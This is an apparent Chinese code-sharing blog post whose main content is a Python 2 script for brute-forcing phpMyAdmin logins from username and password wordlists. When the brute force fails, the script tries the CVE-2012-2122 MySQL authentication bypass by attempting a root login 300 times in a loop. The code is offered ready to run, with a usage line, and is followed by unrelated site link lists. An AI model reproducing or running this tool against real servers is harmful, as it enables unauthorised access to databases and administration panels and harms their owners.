Python写的PHPMyAdmin暴力破解工具代码


Posted in Python onAugust 06, 2014

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def Crack(url,username,password):
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
	headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
	params = urllib.urlencode({'pma_username': username, 'pma_password': password})
	request = urllib2.Request(url+"/index.php", params,headers)
	response = opener.open(request) 
	a=response.read() 
	if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
		return username,password
	return 0
def MySQLAuthenticationBypassCheck(host,port):
	i=0
	while i<300:
		i=i+1
		subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
if __name__ == '__main__':
	if len(sys.argv)<4:
		print "#author:iswin\n#useage python pma.py https://3water.com/phpmyadmin/ username.txt password.txt"
		sys.exit()
	print "Bruting,Pleas wait..."
	for name in open(sys.argv[2],"r"):
		for passw in open(sys.argv[3],"r"):
			state=Crack(sys.argv[1],name,passw)
			if state!=0:
				print "\nBrute successful"
				print "UserName: "+state[0]+"PassWord: "+state[1]
				sys.exit()
	print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
	choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
	if choice=='Y' or choice=='y':
		host=raw_input('Host:')
		port=raw_input('Port:')
		MySQLAuthenticationBypassCheck(host,port)
Python 相关文章推荐
Python的另外几种语言实现
Jan 29 Python
python中dir函数用法分析
Apr 17 Python
python读写ini配置文件方法实例分析
Jun 30 Python
python和flask中返回JSON数据的方法
Mar 26 Python
Pandas 同元素多列去重的实例
Jul 03 Python
从请求到响应过程中django都做了哪些处理
Aug 01 Python
使用CodeMirror实现Python3在线编辑器的示例代码
Jan 14 Python
使用Python操作FTP实现上传和下载的方法
Apr 01 Python
Python解析命令行读取参数之argparse模块
Jul 26 Python
Python时间差中seconds和total_seconds的区别详解
Dec 26 Python
django实现后台显示媒体文件
Apr 07 Python
解析python中的jsonpath 提取器
Jan 18 Python
Python写的Discuz7.2版faq.php注入漏洞工具
Aug 06 #Python
Python常用列表数据结构小结
Aug 06 #Python
Python生成pdf文件的方法
Aug 04 #Python
Tornado Web服务器多进程启动的2个方法
Aug 04 #Python
Python通过解析网页实现看报程序的方法
Aug 04 #Python
基于Python实现的扫雷游戏实例代码
Aug 01 #Python
python脚本实现查找webshell的方法
Jul 31 #Python
You might like
php查看session内容的函数
2008/08/27 PHP
php 字符串函数收集
2010/03/29 PHP
CodeIgniter框架中_remap()使用方法2例
2014/03/10 PHP
ThinkPHP3.1.3版本新特性概述
2014/06/19 PHP
Yii框架中sphinx索引配置方法解析
2016/10/18 PHP
Thinkphp5 微信公众号token验证不成功的原因及解决方法
2017/11/12 PHP
php使用imagecopymerge()函数创建半透明水印
2018/01/25 PHP
javascript对象之内置对象Math使用方法
2010/04/16 Javascript
php上传图片并给图片打上透明水印的代码
2010/06/07 Javascript
jQuery弹簧插件编写基础之“又见弹窗”
2015/12/11 Javascript
Validform表单验证总结篇
2016/10/31 Javascript
AngularJS ng-template寄宿方式用法分析
2016/11/07 Javascript
深入学习jQuery中的data()
2016/12/22 Javascript
jQuery简易时光轴实现方法示例
2017/03/13 Javascript
jQuery Ajax 实现分页 kkpager插件实例代码
2017/08/10 jQuery
基于javascript 显式转换与隐式转换(详解)
2017/12/15 Javascript
Nuxt.js实战详解
2018/01/18 Javascript
[06:15]2016国际邀请赛中国区预选赛单车采访:我顶WINGS
2016/06/27 DOTA
[01:10:03]OG vs EG 2018国际邀请赛淘汰赛BO3 第三场 8.23
2018/08/24 DOTA
使用python实现生成用户信息
2017/03/20 Python
Python简单定义与使用字典dict的方法示例
2017/07/25 Python
pyttsx3实现中文文字转语音的方法
2018/12/24 Python
Python面向对象原理与基础语法详解
2020/01/02 Python
什么是Python包的循环导入
2020/09/08 Python
法国家具及室内配件店:home24
2017/01/21 全球购物
波兰在线体育用品商店:Hop-Sport.pl
2019/07/23 全球购物
艺术设计专业个人求职信
2013/09/21 职场文书
护理实习自我鉴定
2013/12/14 职场文书
关爱女孩行动实施方案
2014/03/13 职场文书
相亲活动方案
2014/08/26 职场文书
走群众路线学习心得体会
2014/10/31 职场文书
2015年行政部工作总结
2015/04/28 职场文书
2015年节能减排工作总结
2015/05/14 职场文书
教你做个可爱的css滑动导航条
2021/06/15 HTML / CSS
深入讲解数据库中Decimal类型的使用以及实现方法
2022/02/15 MySQL
详解Spring Security如何在权限中使用通配符
2022/06/28 Java/Android